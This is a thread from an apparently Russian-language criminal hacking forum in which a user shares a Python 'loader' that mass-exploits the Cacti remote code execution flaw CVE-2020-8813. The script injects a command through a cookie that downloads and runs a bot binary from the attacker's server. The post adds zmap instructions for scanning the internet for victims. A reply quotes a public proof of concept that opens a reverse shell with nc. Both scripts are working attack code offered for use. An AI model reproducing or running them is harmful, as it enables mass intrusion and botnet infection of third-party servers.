• XSS.stack #1 – первый литературный журнал от юзеров форума

Free 1day (CACTI RCE) python loader

Vars_Sec

RAID-массив
Забанен
Регистрация
24.11.2022
Сообщения
60
Реакции
0
Гарант сделки
3
Пожалуйста, обратите внимание, что пользователь заблокирован
Here you go :)


Python:
#! python !#

import threading, sys, time, random, socket, subprocess, re, os, base64, struct, array, requests
from threading import Thread
from time import sleep
import urllib3
import requests
from requests.auth import HTTPDigestAuth
from urllib.parse import quote
from decimal import *  
ips = open(sys.argv[1], "r").readlines()
port = sys.argv[2]

if len(sys.argv) < 2:
    sys.exit("usage: python %s <input list> <port>" % (sys.argv[0]))

payload = ";wget${IFS}http://ip:"+port+"/binhere${IFS}-O${IFS}binhere;chmod${IFS}777${IFS}binhere;./binhere${IFS}Cacti-n0day"
cookies = {'Cacti': quote(payload)}

class rtek(threading.Thread):
        def __init__ (self, ip):
            threading.Thread.__init__(self)
            self.ip = str(ip).rstrip('\n')
        def run(self):
            try:
                print("\033[93m[\033[92mCacti\033[93m] \033[33mTrying \033[32m- \033[93m[\033[92m"+ self.ip +"\033[93m] \033[92m- \033[93m(\033[91mNot Infecting\033[93m)\033[37m")
                url = "http://"+self.ip+"/graph_realtime.php?action=init"
                req = requests.get(url)
                if req.status_code == 200 and "poller_realtime.php" in req.text:
                    print("\033[93m[\033[92mCacti\033[93m] \033[37mFound Possible Vulnerable Device \033[32m- \033[93m[\033[92m"+ self.ip +"\033[93m]\033[37m")
                    requests.get(url, cookies=cookies, timeout=3, verify=False)
                else:
                    print("\033[93m[\033[92mCacti\033[93m] \033[91mDevice Not Vulnerable \033[32m- \033[93m[\033[92m"+ self.ip +"\033[93m]\033[37m")
            except Exception as e:
                pass
for ip in ips:
    try:
        n = rtek(ip)
        n.start()
#        time.sleep(0.03)
    except:
        pass


-debian/ubuntu based
apt install python-requests -y,

-redhat/centos based
yum install python3-requests -y,

pip3 install parse

- list scan if you find one
zmap -p<figure out what port is common> -w list.lst -o output.txt

- world scan prolly wouldn't recommend Unless you don't care about honeypots
zmap -p<figure out what port is common> -o output.txt -N <Number Of ips you wan't to scan>

-running the script
python3 Cacti.py output.txt

press ctrl+z - to stop it cuz i was to lazy to add sigint exiting
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
payload = ";wget${IFS}http://ip:"+port+"/binhere${IFS}-O${IFS}binhere;chmod${IFS}777${IFS}binhere;./binhere${IFS}Cacti-n0day"

replace http://ip with ur vps vip and binhere with ur bins
 
Пожалуйста, обратите внимание, что пользователь заблокирован
это CVE-2020-8813, сплоиту 3 года и валяется везде.
зачем этот пост?)
yes hence why I said "1day" its a customized loader, and cacti RCE still works and is very active to this day.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
это CVE-2020-8813, сплоиту 3 года и валяется везде.
зачем этот пост?)
это вот было в сети
Python:
#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 4:
    print("[~] Usage : ./Cacti-exploit.py url ip port")
    exit()

url = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]

def send_exploit(url):
    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies = {'Cacti': quote(payload)}
    path = url+"/graph_realtime.php?action=init"
    req = requests.get(path)
    if req.status_code == 200 and "poller_realtime.php" in req.text:
        print("[+] File Found and Guest is enabled!")
        print("[+] Sending malicous request, check your nc ;)")
        requests.get(path, cookies=cookies)
    else:
        print("[+] Error while requesting the file!")

send_exploit(url)

есть смысл поглядеть почему тс не так сделал по иному.

изза того что на форуме часто такая реакия - люди меньше делятся чем то своим
abruptum ты выложи хотя бы такое, не видно чтоб ты хоть чем то делился

+ в таких топиках часто появляются обсуждения - что как и зачем работает -> отвечая на твой вопрос -> такие топики нужны для
того чтоб обсуждать экплоиты в целом или их конкретную реализацуию или обсудить их какой то кусок.
Возможно для тебя там все понятно - а кто-то что-то новое узнает или задаст вопрос - так рождается обсуждение, сечешь?
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх